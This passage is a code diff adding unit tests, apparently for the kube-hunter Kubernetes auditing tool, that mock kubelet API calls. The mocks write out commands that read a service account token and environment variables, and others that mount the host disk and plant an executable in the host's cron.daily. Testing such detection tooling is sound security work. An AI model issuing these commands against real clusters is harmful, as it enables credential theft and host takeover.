+    class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/[mock]"
+
+        session_mock.get(url, exc=requests.exceptions.InvalidURL)
+
+        return_value = class_being_tested.get_request(url)
+
+        assert return_value.startswith("Exception: ")
+
+
+def post_request(url, params, expected_return_value, exception=None):
+    class_being_tested_one = ProveAnonymousAuth(create_test_event_type_one())
+
+    with requests_mock.Mocker(session=class_being_tested_one.event.session) as session_mock:
+        mock_params = {"text": "mock"} if not exception else {"exc": exception}
+        session_mock.post(url, **mock_params)
+
+        return_value = class_being_tested_one.post_request(url, params)
+
+        assert return_value == expected_return_value
+
+    class_being_tested_two = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two())
+
+    with requests_mock.Mocker(session=class_being_tested_two.event.session) as session_mock:
+        mock_params = {"text": "mock"} if not exception else {"exc": exception}
+        session_mock.post(url, **mock_params)
+
+        return_value = class_being_tested_two.post_request(url, params)
+
+        assert return_value == expected_return_value
+
+
+def test_post_request_valid_url_with_parameters():
+    url = "https://localhost:10250/mock?cmd=ls"
+    params = {"cmd": "ls"}
+    post_request(url, params, expected_return_value="mock")
+
+
+def test_post_request_valid_url_without_parameters():
+    url = "https://localhost:10250/mock"
+    params = {}
+    post_request(url, params, expected_return_value="mock")
+
+
+def test_post_request_invalid_url_with_parameters():
+    url = "https://localhost:10250/mock?cmd=ls"
+    params = {"cmd": "ls"}
+    post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
+
+
+def test_post_request_invalid_url_without_parameters():
+    url = "https://localhost:10250/mock"
+    params = {}
+    post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
+
+
+def test_has_no_exception_result_with_exception():
+    mock_result = "Exception: Mock."
+
+    return_value = ProveAnonymousAuth.has_no_exception(mock_result)
+
+    assert return_value is False
+
+
+def test_has_no_exception_result_without_exception():
+    mock_result = "Mock."
+
+    return_value = ProveAnonymousAuth.has_no_exception(mock_result)
+
+    assert return_value is True
+
+
+def test_has_no_error_result_with_error():
+    mock_result = "Mock exited with error."
+
+    return_value = ProveAnonymousAuth.has_no_error(mock_result)
+
+    assert return_value is False
+
+
+def test_has_no_error_result_without_error():
+    mock_result = "Mock."
+
+    return_value = ProveAnonymousAuth.has_no_error(mock_result)
+
+    assert return_value is True
+
+
+def test_has_no_error_nor_exception_result_without_exception_and_without_error():
+    mock_result = "Mock."
+
+    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
+
+    assert return_value is True
+
+
+def test_has_no_error_nor_exception_result_with_exception_and_without_error():
+    mock_result = "Exception: Mock."
+
+    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
+
+    assert return_value is False
+
+
+def test_has_no_error_nor_exception_result_without_exception_and_with_error():
+    mock_result = "Mock exited with error."
+
+    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
+
+    assert return_value is False
+
+
+def test_has_no_error_nor_exception_result_with_exception_and_with_error():
+    mock_result = "Exception: Mock. Mock exited with error."
+
+    return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
+
+    assert return_value is False
+
+
+def proveanonymousauth_success(anonymous_auth_enabled_event, security_context_definition_to_test):
+    global counter
+    counter = 0
+
+    with requests_mock.Mocker(session=anonymous_auth_enabled_event.session) as session_mock:
+        url = "https://" + anonymous_auth_enabled_event.host + ":10250/"
+        listing_pods_url = url + "pods"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+
+        session_mock.get(
+            listing_pods_url,
+            text=pod_list_with_privileged_container.replace(
+                "{security_context_definition_to_test}", security_context_definition_to_test
+            ),
+        )
+        session_mock.post(
+            run_url + urllib.parse.quote("cat /var/run/secrets/kubernetes.io/serviceaccount/token", safe=""),
+            text=service_account_token,
+        )
+        session_mock.post(run_url + "env", text=env)
+
+        class_being_tested = ProveAnonymousAuth(anonymous_auth_enabled_event)
+        class_being_tested.execute()
+
+        assert "The following containers have been successfully breached." in class_being_tested.event.evidence
+
+    assert counter == 1
+
+
+def test_proveanonymousauth_success_with_privileged_container_via_privileged_setting():
+    proveanonymousauth_success(create_test_event_type_one(), '"privileged": true')
+
+
+def test_proveanonymousauth_success_with_privileged_container_via_capabilities():
+    proveanonymousauth_success(create_test_event_type_one(), '"capabilities": { "add": ["SYS_ADMIN"] }')
+
+
+def test_proveanonymousauth_connectivity_issues():
+    class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://" + class_being_tested.event.host + ":10250/"
+        listing_pods_url = url + "pods"
+
+        session_mock.get(listing_pods_url, exc=requests.exceptions.ConnectionError)
+
+        class_being_tested.execute()
+
+        assert class_being_tested.event.evidence == ""
+
+
+@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
+class ExposedPrivilegedContainersViaAnonymousAuthEnabledInSecureKubeletPortEventCounter:
+    def __init__(self, event):
+        global counter
+        counter += 1
+
+
+def test_check_file_exists_existing_file():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
+
+        return_value = class_being_tested.check_file_exists(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "mock.txt"
+        )
+
+        assert return_value is True
+
+
+def test_check_file_exists_non_existent_file():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(
+            run_url + urllib.parse.quote("ls nonexistentmock.txt", safe=""),
+            text="ls: nonexistentmock.txt: No such file or directory",
+        )
+
+        return_value = class_being_tested.check_file_exists(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            "nonexistentmock.txt",
+        )
+
+        assert return_value is False
+
+
+rm_command_removed_successfully_callback_counter = 0
+
+
+def rm_command_removed_successfully_callback(request, context):
+    global rm_command_removed_successfully_callback_counter
+
+    if rm_command_removed_successfully_callback_counter == 0:
+        rm_command_removed_successfully_callback_counter += 1
+        return "mock.txt"
+    else:
+        return "ls: mock.txt: No such file or directory"
+
+
+def test_rm_command_removed_successfully():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(
+            run_url + urllib.parse.quote("ls mock.txt", safe=""), text=rm_command_removed_successfully_callback
+        )
+        session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="")
+
+        return_value = class_being_tested.rm_command(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            "mock.txt",
+            number_of_rm_attempts=1,
+            seconds_to_wait_for_os_command=None,
+        )
+
+        assert return_value is True
+
+
+def test_rm_command_removed_failed():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(run_url + urllib.parse.quote("ls mock.txt", safe=""), text="mock.txt")
+        session_mock.post(run_url + urllib.parse.quote("rm -f mock.txt", safe=""), text="Permission denied")
+
+        return_value = class_being_tested.rm_command(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            "mock.txt",
+            number_of_rm_attempts=1,
+            seconds_to_wait_for_os_command=None,
+        )
+
+        assert return_value is False
+
+
+def test_attack_exposed_existing_privileged_container_success():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+        file_name = "kube-hunter-mock" + str(uuid.uuid1())
+        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
+
+        session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
+        session_mock.post(
+            run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
+        )
+
+        return_value = class_being_tested.attack_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            directory_created,
+            number_of_rm_attempts,
+            None,
+            file_name,
+        )
+
+        assert return_value["result"] is True
+
+
+def test_attack_exposed_existing_privileged_container_failure_when_touch():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+        file_name = "kube-hunter-mock" + str(uuid.uuid1())
+        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
+
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(
+            run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""),
+            text="Operation not permitted",
+        )
+
+        return_value = class_being_tested.attack_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            directory_created,
+            None,
+            file_name,
+        )
+
+        assert return_value["result"] is False
+
+
+def test_attack_exposed_existing_privileged_container_failure_when_chmod():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+        file_name = "kube-hunter-mock" + str(uuid.uuid1())
+        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
+
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
+        session_mock.post(
+            run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""),
+            text="Permission denied",
+        )
+
+        return_value = class_being_tested.attack_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            directory_created,
+            None,
+            file_name,
+        )
+
+        assert return_value["result"] is False
+
+
+def test_check_directory_exists_existing_directory():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
+
+        return_value = class_being_tested.check_directory_exists(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
+        )
+
+        assert return_value is True
+
+
+def test_check_directory_exists_non_existent_directory():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="ls: Mock: No such file or directory")
+
+        return_value = class_being_tested.check_directory_exists(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", "Mock"
+        )
+
+        assert return_value is False
+
+
+rmdir_command_removed_successfully_callback_counter = 0
+
+
+def rmdir_command_removed_successfully_callback(request, context):
+    global rmdir_command_removed_successfully_callback_counter
+
+    if rmdir_command_removed_successfully_callback_counter == 0:
+        rmdir_command_removed_successfully_callback_counter += 1
+        return "mock.txt"
+    else:
+        return "ls: Mock: No such file or directory"
+
+
+def test_rmdir_command_removed_successfully():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(
+            run_url + urllib.parse.quote("ls Mock", safe=""), text=rmdir_command_removed_successfully_callback
+        )
+        session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="")
+
+        return_value = class_being_tested.rmdir_command(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            "Mock",
+            number_of_rmdir_attempts=1,
+            seconds_to_wait_for_os_command=None,
+        )
+
+        assert return_value is True
+
+
+def test_rmdir_command_removed_failed():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        session_mock.post(run_url + urllib.parse.quote("ls Mock", safe=""), text="mock.txt")
+        session_mock.post(run_url + urllib.parse.quote("rmdir Mock", safe=""), text="Permission denied")
+
+        return_value = class_being_tested.rmdir_command(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            "Mock",
+            number_of_rmdir_attempts=1,
+            seconds_to_wait_for_os_command=None,
+        )
+
+        assert return_value is False
+
+
+def test_get_root_values_success():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+    root_value, root_value_type = class_being_tested.get_root_values(cat_proc_cmdline)
+
+    assert root_value == "Mock" and root_value_type == "LABEL="
+
+
+def test_get_root_values_failure():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+    root_value, root_value_type = class_being_tested.get_root_values("")
+
+    assert root_value is None and root_value_type is None
+
+
+def test_process_exposed_existing_privileged_container_success():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+
+        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
+        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
+        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
+        session_mock.post(
+            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
+        )
+        session_mock.post(
+            run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
+        )
+
+        return_value = class_being_tested.process_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            number_of_umount_attempts,
+            number_of_rmdir_attempts,
+            None,
+            directory_created,
+        )
+
+        assert return_value["result"] is True
+
+
+def test_process_exposed_existing_privileged_container_failure_when_cat_cmdline():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+
+        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text="Permission denied")
+
+        return_value = class_being_tested.process_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            number_of_umount_attempts,
+            number_of_rmdir_attempts,
+            None,
+            directory_created,
+        )
+
+        assert return_value["result"] is False
+
+
+def test_process_exposed_existing_privileged_container_failure_when_findfs():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+
+        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
+        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="Permission denied")
+
+        return_value = class_being_tested.process_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            number_of_umount_attempts,
+            number_of_rmdir_attempts,
+            None,
+            directory_created,
+        )
+
+        assert return_value["result"] is False
+
+
+def test_process_exposed_existing_privileged_container_failure_when_mkdir():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+
+        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
+        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
+        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="Permission denied")
+
+        return_value = class_being_tested.process_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            number_of_umount_attempts,
+            number_of_rmdir_attempts,
+            None,
+            directory_created,
+        )
+
+        assert return_value["result"] is False
+
+
+def test_process_exposed_existing_privileged_container_failure_when_mount():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+
+        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
+        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
+        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
+        session_mock.post(
+            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""),
+            text="Permission denied",
+        )
+
+        return_value = class_being_tested.process_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            number_of_umount_attempts,
+            number_of_rmdir_attempts,
+            None,
+            directory_created,
+        )
+
+        assert return_value["result"] is False
+
+
+def test_process_exposed_existing_privileged_container_failure_when_cat_hostname():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+
+        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
+        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
+        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
+        session_mock.post(
+            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
+        )
+        session_mock.post(
+            run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""),
+            text="Permission denied",
+        )
+
+        return_value = class_being_tested.process_exposed_existing_privileged_container(
+            url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
+            number_of_umount_attempts,
+            number_of_rmdir_attempts,
+            None,
+            directory_created,
+        )
+
+        assert return_value["result"] is False
+
+
+def test_maliciousintentviasecurekubeletport_success():
+    class_being_tested = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two(), None)
+
+    with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
+        url = "https://localhost:10250/"
+        run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
+        directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
+        file_name = "kube-hunter-mock" + str(uuid.uuid1())
+        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
+
+        session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
+        session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
+        session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
+        session_mock.post(
+            run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
+        )
+        session_mock.post(
+            run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
+        )
+        session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
+        session_mock.post(
+            run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
+        )
+
+        class_being_tested.execute(directory_created, file_name)
+
+        message = "The following exposed existing privileged containers have been successfully"
+        message += " abused by starting/modifying a process in the host."
+
+        assert message in class_being_tested.event.evidence

tests/plugins/test_hooks.py

@@ -0,0 +1,13 @@
+from kube_hunter.plugins import hookimpl
+
+return_string = "return_string"
+
+
+@hookimpl
+def parser_add_arguments(parser):
+    return return_string
+
+
+@hookimpl
+def load_plugin(args):
+    return return_string

tests/plugins/test_plugins_hooks.py

@@ -0,0 +1,17 @@
+from argparse import ArgumentParser
+from tests.plugins import test_hooks
+from kube_hunter.plugins import initialize_plugin_manager
+
+
+def test_all_plugin_hooks():
+    pm = initialize_plugin_manager()
+    pm.register(test_hooks)
+
+    # Testing parser_add_arguments
+    parser = ArgumentParser("Test Argument Parser")
+    results = pm.hook.parser_add_arguments(parser=parser)
+    assert test_hooks.return_string in results
+
+    # Testing load_plugin
+    results = pm.hook.load_plugin(args=[])
+    assert test_hooks.return_string in results